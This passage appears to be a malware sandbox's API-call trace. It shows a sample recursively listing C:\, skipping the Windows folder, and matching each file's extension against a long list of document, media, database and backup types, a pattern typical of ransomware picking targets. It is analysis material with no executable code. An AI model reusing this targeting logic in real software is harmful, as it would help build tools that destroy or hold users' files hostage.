ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed12a0 [0076.489] FindNextFileW (in: hFindFile=0x3ed12a0, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.489] FindNextFileW (in: hFindFile=0x3ed12a0, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e3382f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e3382f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e3382f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 Thread: id = 19 os_tid = 0x440 [0060.825] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39206d8 [0060.825] lstrlenW (lpString="C:") returned 2 [0060.825] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x352fd00 | out: lpFindFileData=0x352fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x5a31f0 [0060.826] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0060.826] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0060.826] lstrlenW (lpString="$Recycle.Bin") returned 12 [0060.826] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0060.826] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e0 [0060.826] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0060.826] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a3230 [0060.826] FindNextFileW (in: hFindFile=0x5a3230, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.826] FindNextFileW (in: hFindFile=0x5a3230, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0060.826] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0060.826] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0060.827] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0060.827] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0060.827] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0060.827] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0060.827] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a4278 [0060.827] FindNextFileW (in: hFindFile=0x5a4278, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.827] FindNextFileW (in: hFindFile=0x5a4278, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0060.827] lstrlenW (lpString="desktop.ini") returned 11 [0060.827] lstrlenW (lpString=".1cd") returned 4 [0060.827] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0060.827] lstrlenW (lpString=".3ds") returned 4 [0060.827] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0060.827] lstrlenW (lpString=".3fr") returned 4 [0060.827] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0060.827] lstrlenW (lpString=".3g2") returned 4 [0060.827] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0060.827] lstrlenW (lpString=".3gp") returned 4 [0060.827] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0060.827] lstrlenW (lpString=".7z") returned 3 [0060.827] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0060.828] lstrlenW (lpString=".accda") returned 6 [0060.828] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0060.828] lstrlenW (lpString=".accdb") returned 6 [0060.828] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0060.828] lstrlenW (lpString=".accdc") returned 6 [0060.828] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0060.828] lstrlenW (lpString=".accde") returned 6 [0060.828] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0060.828] lstrlenW (lpString=".accdt") returned 6 [0060.828] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0060.828] lstrlenW (lpString=".accdw") returned 6 [0060.828] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0060.828] lstrlenW (lpString=".adb") returned 4 [0060.828] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0060.828] lstrlenW (lpString=".adp") returned 4 [0060.828] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0060.828] lstrlenW (lpString=".ai") returned 3 [0060.828] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0060.828] lstrlenW (lpString=".ai3") returned 4 [0060.828] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0060.828] lstrlenW (lpString=".ai4") returned 4 [0060.828] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0060.828] lstrlenW (lpString=".ai5") returned 4 [0060.828] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0060.828] lstrlenW (lpString=".ai6") returned 4 [0060.828] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0060.828] lstrlenW (lpString=".ai7") returned 4 [0060.828] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0060.828] lstrlenW (lpString=".ai8") returned 4 [0060.828] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0060.828] lstrlenW (lpString=".anim") returned 5 [0060.828] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0060.828] lstrlenW (lpString=".arw") returned 4 [0060.828] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0060.828] lstrlenW (lpString=".as") returned 3 [0060.829] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0060.829] lstrlenW (lpString=".asa") returned 4 [0060.829] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0060.829] lstrlenW (lpString=".asc") returned 4 [0060.829] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0060.829] lstrlenW (lpString=".ascx") returned 5 [0060.829] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0060.829] lstrlenW (lpString=".asm") returned 4 [0060.829] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0060.829] lstrlenW (lpString=".asmx") returned 5 [0060.829] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0060.829] lstrlenW (lpString=".asp") returned 4 [0060.829] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0060.829] lstrlenW (lpString=".aspx") returned 5 [0060.829] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0060.829] lstrlenW (lpString=".asr") returned 4 [0060.829] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0060.829] lstrlenW (lpString=".asx") returned 4 [0060.829] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0060.829] lstrlenW (lpString=".avi") returned 4 [0060.829] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0060.829] lstrlenW (lpString=".avs") returned 4 [0060.829] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0060.829] lstrlenW (lpString=".backup") returned 7 [0060.829] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0060.829] lstrlenW (lpString=".bak") returned 4 [0060.829] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0060.829] lstrlenW (lpString=".bay") returned 4 [0060.829] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0060.829] lstrlenW (lpString=".bd") returned 3 [0060.829] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0060.829] lstrlenW (lpString=".bin") returned 4 [0060.829] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0060.829] lstrlenW (lpString=".bmp") returned 4 [0060.829] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0060.830] lstrlenW (lpString=".bz2") returned 4 [0060.830] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0060.830] lstrlenW (lpString=".c") returned 2 [0060.830] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0060.830] lstrlenW (lpString=".cdr") returned 4 [0060.830] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0060.830] lstrlenW (lpString=".cer") returned 4 [0060.830] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0060.830] lstrlenW (lpString=".cf") returned 3 [0060.830] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0060.830] lstrlenW (lpString=".cfc") returned 4 [0060.830] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0060.830] lstrlenW (lpString=".cfm") returned 4 [0060.830] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0060.830] lstrlenW (lpString=".cfml") returned 5 [0060.830] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0060.830] lstrlenW (lpString=".cfu") returned 4 [0060.830] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0060.830] lstrlenW (lpString=".chm") returned 4 [0060.830] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0060.830] lstrlenW (lpString=".cin") returned 4 [0060.830] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0060.830] lstrlenW (lpString=".class") returned 6 [0060.830] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0060.830] lstrlenW (lpString=".clx") returned 4 [0060.830] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0060.830] lstrlenW (lpString=".config") returned 7 [0060.830] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0060.830] lstrlenW (lpString=".cpp") returned 4 [0060.830] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0060.830] lstrlenW (lpString=".cr2") returned 4 [0060.830] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0060.830] lstrlenW (lpString=".crt") returned 4 [0060.831] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".crw") returned 4 [0060.831] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".cs") returned 3 [0060.831] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0060.831] lstrlenW (lpString=".css") returned 4 [0060.831] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".csv") returned 4 [0060.831] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".cub") returned 4 [0060.831] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".dae") returned 4 [0060.831] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".dat") returned 4 [0060.831] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".db") returned 3 [0060.831] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0060.831] lstrlenW (lpString=".dbf") returned 4 [0060.831] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".dbx") returned 4 [0060.831] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".dc3") returned 4 [0060.831] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".dcm") returned 4 [0060.831] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".dcr") returned 4 [0060.831] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".der") returned 4 [0060.831] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".dib") returned 4 [0060.831] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".dic") returned 4 [0060.831] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".dif") returned 4 [0060.831] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0060.831] lstrlenW (lpString=".divx") returned 5 [0060.831] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0060.832] lstrlenW (lpString=".djvu") returned 5 [0060.832] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0060.832] lstrlenW (lpString=".dng") returned 4 [0060.832] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0060.832] lstrlenW (lpString=".doc") returned 4 [0060.832] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0060.832] lstrlenW (lpString=".docm") returned 5 [0060.832] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0060.832] lstrlenW (lpString=".docx") returned 5 [0060.832] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0060.832] lstrlenW (lpString=".dot") returned 4 [0060.832] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0060.832] lstrlenW (lpString=".dotm") returned 5 [0060.832] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0060.832] lstrlenW (lpString=".dotx") returned 5 [0060.832] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0060.832] lstrlenW (lpString=".dpx") returned 4 [0060.832] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0060.832] lstrlenW (lpString=".dqy") returned 4 [0060.832] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0060.832] lstrlenW (lpString=".dsn") returned 4 [0060.832] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0060.832] lstrlenW (lpString=".dt") returned 3 [0060.832] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0060.832] lstrlenW (lpString=".dtd") returned 4 [0060.832] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0060.832] lstrlenW (lpString=".dwg") returned 4 [0060.832] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0060.832] lstrlenW (lpString=".dwt") returned 4 [0060.832] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0060.832] lstrlenW (lpString=".dx") returned 3 [0060.832] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0060.832] lstrlenW (lpString=".dxf") returned 4 [0060.832] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0060.832] lstrlenW (lpString=".edml") returned 5 [0060.832] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0060.833] lstrlenW (lpString=".efd") returned 4 [0060.833] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".elf") returned 4 [0060.833] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".emf") returned 4 [0060.833] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".emz") returned 4 [0060.833] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".epf") returned 4 [0060.833] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".eps") returned 4 [0060.833] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".epsf") returned 5 [0060.833] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0060.833] lstrlenW (lpString=".epsp") returned 5 [0060.833] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0060.833] lstrlenW (lpString=".erf") returned 4 [0060.833] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".exr") returned 4 [0060.833] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".f4v") returned 4 [0060.833] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".fido") returned 5 [0060.833] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0060.833] lstrlenW (lpString=".flm") returned 4 [0060.833] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".flv") returned 4 [0060.833] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".frm") returned 4 [0060.833] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".fxg") returned 4 [0060.833] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".geo") returned 4 [0060.833] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0060.833] lstrlenW (lpString=".gif") returned 4 [0060.834] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0060.834] lstrlenW (lpString=".grs") returned 4 [0060.834] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0060.834] lstrlenW (lpString=".gz") returned 3 [0060.834] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0060.834] lstrlenW (lpString=".h") returned 2 [0060.834] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0060.834] lstrlenW (lpString=".hdr") returned 4 [0060.834] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0060.834] lstrlenW (lpString=".hpp") returned 4 [0060.834] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0060.834] lstrlenW (lpString=".hta") returned 4 [0060.834] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0060.834] lstrlenW (lpString=".htc") returned 4 [0060.834] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0060.834] lstrlenW (lpString=".htm") returned 4 [0060.834] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0060.834] lstrlenW (lpString=".html") returned 5 [0060.834] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0060.834] lstrlenW (lpString=".icb") returned 4 [0060.834] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0060.834] lstrlenW (lpString=".ics") returned 4 [0060.834] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0060.834] lstrlenW (lpString=".iff") returned 4 [0060.834] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0060.834] lstrlenW (lpString=".inc") returned 4 [0060.834] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0060.834] lstrlenW (lpString=".indd") returned 5 [0060.834] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0060.834] lstrlenW (lpString=".ini") returned 4 [0060.835] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0060.835] FindNextFileW (in: hFindFile=0x5a4278, lpFindFileData=0x352f808 | out: lpFindFileData=0x352f808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0060.835] FindClose (in: hFindFile=0x5a4278 | out: hFindFile=0x5a4278) returned 1 [0060.835] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x4b0000) returned 1 [0060.835] FindNextFileW (in: hFindFile=0x5a3230, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb63e4b00, ftLastAccessTime.dwHighDateTime=0x1d337f4, ftLastWriteTime.dwLowDateTime=0xb63e4b00, ftLastWriteTime.dwHighDateTime=0x1d337f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0060.835] FindClose (in: hFindFile=0x5a3230 | out: hFindFile=0x5a3230) returned 1 [0060.835] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e0 | out: hHeap=0x4b0000) returned 1 [0060.835] FindNextFileW (in: hFindFile=0x5a31f0, lpFindFileData=0x352fd00 | out: lpFindFileData=0x352fd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0060.835] lstrlenW (lpString="C:\\Boot") returned 7 [0060.835] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Boot") returned 1 [0060.835] lstrlenW (lpString="Boot") returned 4 [0060.835] lstrcmpiW (lpString1="C:\\Windows", lpString2="Boot") returned 1 [0060.835] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e0 [0060.835] lstrlenW (lpString="C:\\Boot") returned 7 [0060.835] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a4238 [0060.836] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0060.836] FindNextFileW (in: hFindFile=0x5a4238, lpFindFileData=0x352fa84 | out: lpFindFileData=0x352fa84*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x90cd45e0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0x90cd45e0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0060.836] lstrlenW (lpString="BCD") returned 3 [0060.836] lstrlenW (lpString=".1cd") returned 4 [0060.836] lstrcmpiW (lpString1=".1cd", lpString2="") returned 1 [0060.836] lstrlenW (lpString=".3ds") returned 4 [0060.836] lstrcmpiW (lpString1=".3ds", lpString2="") returned 1 [0060.836] lstrlenW (lpString=".3fr") returned 4 [0060.836] lstrcmpiW (lpString1=".3fr", lpString2="") returned 1 [0060.836] lstrlenW (lpString=".3g2") returned 4 [0060.836] lstrcmpiW (lpString1=".3g2", lpString2="") returned 1 [0060.836] lstrlenW (lpString=".3gp") returned 4 [0060.836] lstrcmpiW (lpString1=".3gp", lpString2="") returned 1 [0060.836] lstrlenW (lpString=".7z") returned 3 [0060.836] lstrcmpiW (lpString1=".7z", lpString2="BCD") returned -1 [0060.836] lstrlenW (lpString=".accda") returned 6 [0060.836] lstrcmpiW (lpString1=".accda", lpString2="") returned 1 [0060.837] lstrlenW (lpString=".accdb") returned 6 [0060.837] lstrcmpiW 